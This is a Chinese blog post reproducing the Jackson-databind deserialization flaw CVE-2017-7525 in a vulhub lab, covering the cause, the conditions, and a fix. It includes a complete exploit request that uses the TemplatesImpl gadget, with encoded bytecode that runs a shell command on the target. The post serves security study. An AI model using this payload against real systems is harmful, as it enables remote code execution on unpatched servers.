Jackson-databind 反序列化漏洞(CVE-2017-7525)复现

1.漏洞出现的原因

Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当json字符串转换的Target class中有polymorph fields,即字段类型为接口、抽象或Object类型时,攻击者可以通过在json字符串中指定变量的具体类型(子类或者接口实现类,)来实现实例化指定的类,借助某些特殊的class,如TemplatesImpl,可以实现任意代码执行。

 

所以本漏洞利用条件如下

 1.开启JacksonPolymorphicDeserialization,即调用以下任意方法
objectMapper.enableDefaultTyping();
// default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

  2.Target class需要无参constructor

  3.Target class中需要有字段类型为interface、abstract class、Object

 

2.漏洞编号: CVE-2017-7525

 

3.受影响的版本:

FasterXML jackson-databind 2.x < 2.9.10.8

 

4.危害:

可以利用漏洞实现远程代码执行,危害性极大

 

5.区分 Fastjson 和 Jackson

{"name":"S", "age":21}

1

{"name":"S", "age":21,"agsbdkjada__ss_d":123}

1

这两个fastjson都不会报错,而jackson会报错,因为Jackson 因为强制 key 与javabean 属性对齐,只能少不能多 key,所以会报错。

 

6.漏洞复现

1.环境搭建  在ubuntu中搭建的vulhub靶机

cd /root/vulhub/jackson/CVE-2017-7525
docker-compose build
docker-compose up -d

 

访问网址:http://192.168.187.133:8080

Jackson-databind 反序列化漏洞(CVE-2017-7525)复现

 

在ubuntu中进入docker容器:

docker ps
docker exec -it 870b59844561 /bin/bash
cd /tmp
ls

Jackson-databind 反序列化漏洞(CVE-2017-7525)复现

利用原理

Jackson-databind 在设置 Target class成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties()方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明。

使用burpsuit发送如下请求,将会执行touch /tmp/prove1.txt

POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298
{
 "param": [
   "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
     "transletBytecodes": [
 "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
     ],
     "transletName": "a.b",
     "outputProperties": {}
    }
  ]
}

Jackson-databind 反序列化漏洞(CVE-2017-7525)复现

Jackson-databind 反序列化漏洞(CVE-2017-7525)复现

成功创建prove1.txt文件

 

修复方案

官方将在新版本中通过扩展黑名单的方式来修复该漏洞,受影响的用户请尽快升级到新版本进行防护。

另外,未来Jackson-dababind的最新主要版本(3.x)将使用新的API,该API layer可以提供一种基于白名单的序列化方式来处理多态类(polymorph classes),以此解决该系列漏洞。

参考链接:

https://github.com/FasterXML/jackson-databind/releases

http://blog.nsfocus.net/cve-2017-7525/

https://blog.csdn.net/xuandao_ahfengren/article/details/106805679

 

声明:

本文仅限于大家技术交流和学习,严谨读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,

作者创作不容易,请大家点赞支持一下。谢谢各位读者大老爷。

上一篇:Blazor Webassembly多标签页实现非iframe的实现


下一篇:(一)从新建文件夹到运行于服务器——《魔塔》